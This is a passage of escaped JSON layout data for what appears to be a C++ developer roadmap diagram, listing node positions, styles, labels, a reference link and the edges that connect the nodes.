\"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"WbquXSrbKyKZuwVeLZfnw\",\n          \"label\": \"Optional / Learn if you want\",\n          \"color\": \"#999999\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 170,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 273.5766878818748,\n        \"y\": 2859.6661606275225\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1Bm9i2IdUeDkWg4ZGEylB\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 300.5179751445827,\n        \"y\": 2919.244194339027\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Frameworks\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 111,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 300.5179751445827,\n        \"y\": 2919.244194339027\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 111,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"Wm2VPi1Tn_Y7dqPowny69\",\n      \"type\": \"linksgroup\",\n      \"position\": {\n        \"x\": -285.20291471146976,\n        \"y\": 20.444194339027717\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"References\",\n        \"links\": [\n          {\n            \"id\": \"29I4Uf1Z74ihhM4cpfaP7\",\n            \"label\": \"Salmer's C++ Roadmap\",\n            \"href\": \"\",\n            \"url\": \"https://salmer.github.io/CppDeveloperRoadmap/\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"width\": 352,\n      \"height\": 96,\n      \"positionAbsolute\": {\n        \"x\": -285.20291471146976,\n        \"y\": 20.444194339027717\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 352,\n        \"height\": 96\n      },\n      \"measured\": {\n        \"width\": 352,\n        \"height\": 96\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"XX0I26JoVMVXIe_7bVMix\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"idLHBxhvcIqZTqmh_E8Az\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"dFn6kGOoJ-0BzJJEb9DSG\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"os3Pa6W9SSNEzgmlBbglQ\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"arkF7QJJRbCBYWp0crqa2\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"3oInpqvTSSC5_K6i7j8N7\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"HNVw8OboycWKLEtEbG2bn\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"YKhuRbcUFzo0hTvuTq-Yl\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"auB7Png72XjmhcLr3IJA7\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"2aoDIr80lXSJLW1hIGUkb\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"NMznG9mo2wzNFnjhg990f\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"m-_y7nLeYFkUKGiacxWA0\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"gc_7cuIO2_joKlQRAPDfX\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"G7pXuJfkyt2nWAOHU8yV0\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"rrrvATyhXqRgJGWI3z0WF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"AvbMQ5vY3ip1oX_6Yq4ie\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"2_6Yz3-Agx9_rEN5xW86c\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"1AJv95mTLpR7L8KBoGym8\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"kgMI98fg2-mKMgUs0wnjD\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"0etAs56EeBfh_0IlAaSra\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": true,\n      \"id\": \"ts38Q2ceHs60TJscUBZVE\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"h6ceO0kiBIxNRkPzN3hBY\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"ZiMV7umyPdhy3JJDcopR-\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"_JlT9oKQ6Yu4UX6l19G8P\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"WI-MhbxrehFcVwyGJ5CQJ\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"qUrLBzvXvJOg53HBfjrOI\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Ji35JsKgUQXN4DJGEgTAC\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"t3Op8UcgDKVeMLNMDePrW\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-Ji35JsKgUQXN4DJGEgTACx2-t3Op8UcgDKVeMLNMDePrWw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Ji35JsKgUQXN4DJGEgTAC\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"c2YZ7PPCX1jF_RU7C0AqN\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-Ji35JsKgUQXN4DJGEgTACx2-c2YZ7PPCX1jF_RU7C0AqNw2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KMA7NkxFbPoUDtFnGBFnj\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-KMA7NkxFbPoUDtFnGBFnjx2-0vLaVNJaJSHZ_bHli6Qzsw1\",\n      \"selected\": true,\n      \"type\": \"simplebezier\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"DYkdM_L7T2GcTPAoZNnUR\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-DYkdM_L7T2GcTPAoZNnURx2-0vLaVNJaJSHZ_bHli6Qzsz1\",\n      \"selected\": true,\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Z-zHIbLBy7cqcDu_QEJIn\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"WSrbHa0mKIQs33vEJHp15\",\n      \"targetHandle\": \"x2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Z-zHIbLBy7cqcDu_QEJIny2-WSrbHa0mKIQs33vEJHp15x2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NvODRFR0DLINB0RlPSsvt\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"x_28LiDVshqWns_aIBsdx\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-NvODRFR0DLINB0RlPSsvtz2-x_28LiDVshqWns_aIBsdxy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NvODRFR0DLINB0RlPSsvt\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"tl6VCQ5IEGDVyFcgj7jDm\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-NvODRFR0DLINB0RlPSsvtz2-tl6VCQ5IEGDVyFcgj7jDmy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NvODRFR0DLINB0RlPSsvt\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"2Ag0t3LPryTF8khHLRfy-\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-NvODRFR0DLINB0RlPSsvtz2-2Ag0t3LPryTF8khHLRfy-y2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"NvODRFR0DLINB0RlPSsvt\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Zc_TTzmM36yWsu3GvOy9x\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-NvODRFR0DLINB0RlPSsvty2-Zc_TTzmM36yWsu3GvOy9xw2\",\n      \"selected\": true,\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Zc_TTzmM36yWsu3GvOy9x\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"0J_ltQEJh2g28OE2ZEYJj\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Zc_TTzmM36yWsu3GvOy9xx2-0J_ltQEJh2g28OE2ZEYJjw2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Zc_TTzmM36yWsu3GvOy9x\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"kl2JI_Wl47c5r8SYzxvCq\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-Zc_TTzmM36yWsu3GvOy9xz2-MwznA4qfpNlv6sqSNjPZiy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"kl2JI_Wl47c5r8SYzxvCq\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"8aOSpZLWwZv_BEYiurhyR\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-MwznA4qfpNlv6sqSNjPZix2-8aOSpZLWwZv_BEYiurhyRw2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"kl2JI_Wl47c5r8SYzxvCq\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"s5Gs4yF9TPh-psYmtPzks\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-kl2JI_Wl47c5r8SYzxvCqz2-MwznA4qfpNlv6sqSNjPZiy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"s5Gs4yF9TPh-psYmtPzks\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"_IP_e1K9LhNHilYTDh7L5\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-MwznA4qfpNlv6sqSNjPZiw2-_IP_e1K9LhNHilYTDh7L5x1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"s5Gs4yF9TPh-psYmtPzks\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"oYi3YOc1GC2Nfp71VOkJt\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-s5Gs4yF9TPh-psYmtPzksx2-MwznA4qfpNlv6sqSNjPZiw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"oYi3YOc1GC2Nfp71VOkJt\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"llCBeut_uc9IAe2oi4KZ9\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-MwznA4qfpNlv6sqSNjPZix2-llCBeut_uc9IAe2oi4KZ9w2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"oYi3YOc1GC2Nfp71VOkJt\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"MwznA4qfpNlv6sqSNjPZi\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-oYi3YOc1GC2Nfp71VOkJty2-MwznA4qfpNlv6sqSNjPZiz1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"i0EAFEUB-F0wBJWOtrl1A\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"r0yD1gfn03wTpEBi6zNsu\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-i0EAFEUB-F0wBJWOtrl1Ax2-r0yD1gfn03wTpEBi6zNsuw2\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"MwznA4qfpNlv6sqSNjPZi\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"DWw8NxkLpIpiOSUaZZ1oA\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-MwznA4qfpNlv6sqSNjPZiy2-DWw8NxkLpIpiOSUaZZ1oAz1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"MwznA4qfpNlv6sqSNjPZi\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"f1djN0GxoeVPr_0cl6vMq\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-MwznA4qfpNlv6sqSNjPZix2-f1djN0GxoeVPr_0cl6vMqw1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"DWw8NxkLpIpiOSUaZZ1oA\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"uUzRKa9wGzdUwwmAg3FWr\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-DWw8NxkLpIpiOSUaZZ1oAx2-uUzRKa9wGzdUwwmAg3FWrw1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Zw2AOTK5uc9BoKEpY7W1C\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"dKCYmxDNZubCVcR5rf8b-\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Zw2AOTK5uc9BoKEpY7W1Cw2-dKCYmxDNZubCVcR5rf8b-x1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Zw2AOTK5uc9BoKEpY7W1C\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"CMlWNQwpywNhO9B6Yj6Me\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-Zw2AOTK5uc9BoKEpY7W1Cz2-CMlWNQwpywNhO9B6Yj6Mey2\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"CMlWNQwpywNhO9B6Yj6Me\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"B2SGBENzUMl0SAjG4j91V\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": true,\n      \"id\": \"reactflow__edge-CMlWNQwpywNhO9B6Yj6Mey2--6fwJQOfsorgHkoQGp4T3w2\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"B2SGBENzUMl0SAjG4j91V\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"oWygnpwHq2poXQMTTSCpl\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge--6fwJQOfsorgHkoQGp4T3x2-oWygnpwHq2poXQMTTSCplw1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"B2SGBENzUMl0SAjG4j91V\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"-6fwJQOfsorgHkoQGp4T3\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-B2SGBENzUMl0SAjG4j91Vy2--6fwJQOfsorgHkoQGp4T3z1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"-6fwJQOfsorgHkoQGp4T3\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"CG01PTVgHtjfKvsJkJLGl\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge--6fwJQOfsorgHkoQGp4T3x2-CG01PTVgHtjfKvsJkJLGlw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"DHdNBP7_ixjr6h-dIQ7g6\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"-6AOrbuOE7DJCmxlcgCay\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-DHdNBP7_ixjr6h-dIQ7g6z2--6AOrbuOE7DJCmxlcgCayy2\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"-6AOrbuOE7DJCmxlcgCay\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"fb3bnfKXjSIjPAk4b95lg\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge--6AOrbuOE7DJCmxlcgCayx2-qmHs6_BzND_xpMmls5YUHw2\",\n      